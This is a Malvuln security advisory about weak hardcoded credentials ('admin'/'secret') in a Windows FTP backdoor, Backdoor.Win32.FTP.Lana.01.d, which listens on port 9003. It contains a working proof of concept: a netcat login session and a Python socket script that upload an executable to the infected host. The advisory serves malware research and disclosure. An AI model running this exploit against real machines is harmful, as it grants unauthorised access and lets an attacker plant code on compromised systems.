Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/ea9ab5983a6fa71e31907e74d4ddbab6.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.FTP.Lana.01.d
Vulnerability: Weak Hardcoded Credentials
Family: Lana
Type: PE32
MD5: ea9ab5983a6fa71e31907e74d4ddbab6
Vuln ID: MVID-2022-0539
Dropped files: sersvc32.exe
Disclosure: 04/06/2022
Description: The malware listens in TCP port 9003. The credentials "admin" and "secret" are weak and stored in plaintext with the executable.

00404004 aAdmin          db 'admin',0            ; DATA XREF 00401FBF
00404004                                         ; sub_402765+4A3↑o
00404019 aSecret         db 'secret',0           ; DATA XREF 00401FA8

Exploit/PoC:
nc64.exe x.x.x.x 9003
220 Silver FTP v1.1                                                                                                     
USER admin                                                                                                              
331 Password required for admin.                                                                                        
PASS secret                                                                                                             
230 User logged in, proceed.                                                                                            
SYST                                                                                                                    
215 UNIX Type: L8                                                                                                       
PASV                                                                                                                    
227 Entering Passive Mode (192,168,18,125,195,84).                                                                      
STOR DOOM.exe                                                                                                           
150 Data connection accepted.                                                                                           
226 Transfer ok 

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=50004
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()
    
    s.close()

    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).